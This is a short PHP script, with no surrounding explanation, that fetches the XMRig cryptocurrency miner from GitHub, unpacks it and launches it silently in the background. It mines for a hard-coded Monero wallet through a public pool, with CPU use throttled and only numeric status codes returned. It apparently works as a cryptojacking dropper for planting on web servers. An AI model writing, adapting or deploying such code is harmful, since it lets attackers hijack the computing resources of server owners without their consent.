if (!function_exists('shell_exec')) {
die("1"); // 1: Shell exec function is disabled
}
// 2: Function to download and set up XMRig
function setupXMRig() {
$url = "https://github.com/xmrig/xmrig/releases/latest/download/xmrig-linux-x64.tar.gz";
$filename = "xmrig-linux-x64.tar.gz";
$directory = "xmrig-6.22.2"; // 3: Ensure directory name matches the version you're downloading.
// Download and extract XMRig if not already downloaded
if (!file_exists($directory)) {
shell_exec("wget $url -O $filename");
shell_exec("tar -xvzf $filename");
shell_exec("mv xmrig* $directory");
shell_exec("chmod +x $directory/xmrig");
}
}
// 4: Check if XMRig is already running
function isXMRigRunning() {
$processList = shell_exec("ps aux | grep xmrig | grep -v grep");
return !empty($processList); // True if it's running, false if not
}
// 5: Function to run XMRig from the specified folder
function runXMRig($wallet, $pool, $threads = 4, $cpuUsage = 49) {
$xmrigPath = "xmrig-6.22.2/xmrig"; // Adjust path if needed.
if (!file_exists($xmrigPath)) {
die("7"); // 7: XMRig executable not found
}
// Command to run XMRig
$cmd = "$xmrigPath -o $pool -u $wallet -p x --donate-level=1 --threads=$threads --cpu-priority=4 --max-cpu-usage=$cpuUsage";
shell_exec("nohup $cmd > /dev/null 2>&1 &"); // 8: Start XMRig in the background
}
// 9: Set wallet, pool, and configuration
$wallet = "43PWkzeWWt57hxPbTYLm9B9u7j8YfER19GtBrkbyETaMegvkfxKACxTKVvYo6ZXU9qMAorSDnxzY7UwZcakf98PaUdnJPn3";
$pool = "pool.supportxmr.com:443";
$threads = 4;
$cpuUsage = 49;
// 10: Check if XMRig is already running
if (isXMRigRunning()) {
echo "11"; // 11: XMRig is already running
} else {
setupXMRig();
runXMRig($wallet, $pool, $threads, $cpuUsage);
echo "12"; // 12: XMRig started successfully
}